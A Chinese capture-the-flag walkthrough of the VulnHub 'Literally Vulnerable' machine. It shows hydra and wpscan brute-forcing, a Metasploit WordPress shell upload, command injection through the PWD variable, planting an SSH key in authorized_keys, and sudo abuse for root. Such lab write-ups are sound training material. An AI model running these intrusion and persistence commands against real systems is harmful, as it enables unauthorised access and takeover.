7.literally

literally

一个不错的练手靶机

https://www.vulnhub.com/entry/ua-literally-vulnerable,407/

靶机 : literally

渗透机 : kali + win10

补充 : 如果靶机自带的是nat网络 , 如果需要更改 , 别忘记啦 , 我忘记是什么啦

目标: 拿到(local.txt, user.txt & root.txt)

0x01. 信息收集

1. 确定靶机ip

扫描当前网段ip

image-20210703094302086

靶机 192.168.0.114 kali 1982.168.0.115

2. 全端口扫描

nmap -sS -Pn -A -p 0-65535 -n 192.168.0.114
推荐大家以后打靶机和渗透都用nmap的这种详细扫描 , 能提供很多的思路

image-20210703104401777

开放了21 , 22 , 80 , 65535端口 , 接下来就是逐个端口的测试 , 其中21端口可以匿名登录 , anonymous

0x02. 漏洞发现

1. 端口测试

使用kali自带的ftp连接

ftp 192.168.0.114

image-20210703105843260

发现存在一个备份的密码文件, 是关于Doe用户的 , 下载下来 , 以便后面的爆破备用

image-20210703110050003

接下来我们把这个做成密码文件 , 尝试对22端口爆破

hydra -l Doe -P ./backupPasswords -vV -f 192.168.0.114 ssh 

image-20210703112428596

发现爆破无结果

2. web打点

由于爆破无结果 , 那么访问80端口 , 尝试从web进去

http://192.168.0.114/

image-20210703094611548

发现是wordpress搭建的 , mysql数据库 , 乌班图系统 , php语言

随手点了点可以跳转的页面发现

image-20210703110712746

可能需要绑定域名 ( 一般靶机就喜欢搞这个 ) , 进入我们的host文件追加

image-20210703110940115

保存 , 退出 , 再次访问

http://literally.vulnerable/?author=1

image-20210703110956453

既然是wordpress 再加上我们之前收集到了密码文件 , 直接上wpscan扫描一下用户

wpscan --url http://192.168.0.114/ -e

image-20210703094948356

结果就是只扫出来了一个admin用户 , 尝试一下用刚才收集的密码爆破

wpscan --url http://192.168.0.114/ -U user.txt -P backupPasswords 

image-20210703111408747

尴尬 , 依然是莫有爆破出来 , 接下来扫一下目录和备份文件说不定会有一些奇妙的收获呢 , 对于这种国外的靶机 , 一般我推荐dirb 的 big.txt 扫描 , 当然你也可以用dirsearch , 个人常用的一款

扫描后仍然是一无所获 , gg

还有个65535端口 , 没有测试 , 我一看这个端口就知道不简单 , 估计是个突破口

那么访问一下吧 , 嘿嘿

http://192.168.0.114:65535

image-20210703112713136

好家伙 , 是一个apache2的默认页面 , 那就先扫一下目录看看吧 , 依旧推荐dirb扫描 , 最好就是dirsearch两个配合起来 , 很有可能别人拿下了一个站点 , 你没拿下 , 就是他运气好 , 扫描到了一个你没有扫到的目录

dirsearch扫描的没啥有用的 , 但是dirb的大字典就不一样了 , 嘿嘿dirb http://192.168.0.114:65535/ /usr/share/wordlists/dirb/big.txt 

image-20210703113346649

好家伙 , 我就知道这个端口下面没有那些简单 , 又是一个wordpress

image-20210703113059109

页面信息 : 一个用户notadmin , 需要输入密码连接

当然还是要枚举一下用户的

wpscan --url http://192.168.0.114:65535/phpcms/ -e不要忘记在kali中也要修改host文件哈

image-20210703115932421

获取到两个用户 , 那么先用wpscan爆破一下密码

maybeadminnotadmin
wpscan --url http://192.168.0.114:65335/phpcms/ -U user.txt -P backupPasswords 

image-20210703120246617

好家伙 , 难道maybeadmin就是Doe那个人???? , 不管了 , 先登录

maybeadmin / $EPid%J2L9LufO5

image-20210703120418222

在post的一个页面 , 随手一点 , 发现了notadmin的密码

image-20210703120627891

image-20210703120613655

切换账号 , 使用notadmin登录

notadmin:Pa$$w0rd13!&

果然notadmin是一个管理员用户

image-20210703120844144

0x03. 反弹shell

1. getshell

WordPress在管理员权限下常见的有两种reverse shell的方式:
第一种:编辑Themes中的php页面,将reverse shell的代码添加进去,然后kali监听端口、访问php页面;(也可以利用PHP一句话,使用蚁剑连接,再反弹shell,得到shell)

image-20210703121253840

第二种:直接用MSF中exploit/unix/webapp/wp_admin_shell_upload模块,show options查看各种需要set的配置,利用得到的notadmin用户和密码,获取shell。

这里我用第二种msf

msfconsole

image-20210703121818157

设置选项

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password Pa$$w0rd13!&password => Pa$$w0rd13!&msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.0.114rhosts => 192.168.0.114msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rport 65535rport => 65535msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /phpcmstargeturi => /phpcmsmsf6 exploit(unix/webapp/wp_admin_shell_upload) > set username notadminusername => notadminmsf6 exploit(unix/webapp/wp_admin_shell_upload) > run

image-20210703122019990

接收到反弹连接 , 然后进入shell , 再进入交互式shell

shellpython3 -c 'import pty;pty.spawn("/bin/bash")'

image-20210703122234834

发现靶机上默认找不到python , 尝试用python3解决 , 一般这类靶机喜欢在家目录下做文章 , 所以进入家目录看看

www-data@literallyvulnerable:/home$ lslsdoe  john好家伙 , 终于看到doe用户了 , 既然来了 , 那就进去看看有什么吧

image-20210703122824217

在/home下发现doe、john两个用户,各种胡乱fuzz,发现有执行和读取的文件少之又少,可见必须先提权才行。发现一个可执行已经编译的itseasy文件,而且是任意用户可以执行的,这里执行了一下这个可执行文件,得到的结果是:Your Path is: /home/doe。由于当前所在路径就是/home/doe,所以猜测这个可执行文件是调用了pwd命令,可以通过PATH环境变量进行提权。

image-20210703125420264

但此处利用PATH好像没有用,这里可能调用的是PWD环境变量,修改PWD环境变量发现成功得到john用户的shell。

export PWD=\$\(/bin/bash\)        \是对特殊字符转义./itseasy

image-20210703125901481

但这个时候可以执行命令但是并无回显任何东西,既然我们有一个较高权限的shell,这里干脆使用SSH进行接。

补充linux环境变量(PWD是环境变量,而pwd对应的是可执行文件/usr/bin/pwd。如果这里调用的是pwd,那么我们可以通过PATH环境变量提权,而这里调用的是PWD环境变量,所以我们只能通过修改PWD的值进行提权)PWD 和 OLDPWD        PWD 记录当前的目录路径,当利用 cd 命令切换当前目录时,系统自动更新 PWD 的值, OLDPWD 记录旧的工作目录,即用户所处的前一个目录。 (2)    PATH        PATH 是 Linux 中一个极为重要的环境变量,它用于帮助 Shell 找到用户输入的命令。用户所输入的每个命令实际上是一个源代码文件,计算机执行这个文件里的代码以实现这个命令的功能,这些源代码文件称为可执行文件。可执行文件存在于各种各样的目录下, PATH 就记录了一系列的目录列表, Shell 为每个输入命令搜索 PATH 中的目录列表。 (3)    HOME   HOME 记录当前用户的目录,由 /etc/passwd 的倒数第 2 个域决定, HOME 目录用于保存用户自己的文件。

2. 写入ssh公钥

第一步在kali上生成无密码的私钥和公钥

cd /root/.sshssh-keygen -t rsa                              (-t,表示使用rsa加密)

可以看到生成了id_rsa(私钥)、id_rsa.pub(公钥)

image-20210703133816571

第二步在靶机上新建.ssh文件夹 , 并写生成的公钥

mkdir -p /home/john/.sshecho “公钥” > /home/john/.ssh/authorized_keys

image-20210703133919355

接下来就是ssh直接连接啦

ssh john@192.168.0.114

image-20210703134005544

拿到第一个flag

image-20210703134458327

发现家目录下有一个.local的隐藏文件夹 , 进去看看

image-20210703134641912

一段操作发现了其中的隐藏密码 , 还是base64编码的 , 尝试解码

john@literallyvulnerable:~/.local/share/tmpFiles$ echo "am9objpZWlckczhZNDlJQiNaWko=" | base64 -djohn:YZW$s8Y49IB#ZZJjohn@literallyvulnerable:~/.local/share/tmpFiles$ 

账密备用

john:YZW$s8Y49IB#ZZJ

0x04. 提权

1. sodu提权

输入john的密码 , 发现 john用户不需要输入root密码就可以执行 /var/www/html/test.html 这个文件

image-20210703135123806

ok , 就把/bin/bash写进去吧

echo "/bin/bash" > /var/www/html/test.html

尴尬的是没有权限

image-20210703135400455

既然是网站下的文件 , 我们用之前的www-data那个用户写入试试

echo "/bin/bash" > /var/www/html/test.htmlchmod 777 test.html

然后切换到john用户 sudo执行

sudo ./test.htmlwhoamicd ~lscat user.txtcat /home/doe/local.txt

至此三个flag都已获得

0x05. 总结

本次靶机复现过程中,首先ftp服务器的匿名登陆,得到后台用户密码;

80页面的信息收集,以及配置hosts文件让页面正常回显很有意义;

在65535页面中,wpscan的枚举用户名发挥了重大作用,然后后续中使用msf反弹shell,得到低权限用户;

提权过程中,使用PWD环境变量提权,提升为john用户,SSH密钥登录,以及对ssh安全外壳协议的学习是本次的收获;

还需要理解的地方就是sudo -l 和 写ssh公钥

原文地址:https://www.cnblogs.com/xcymn/p/15712502.html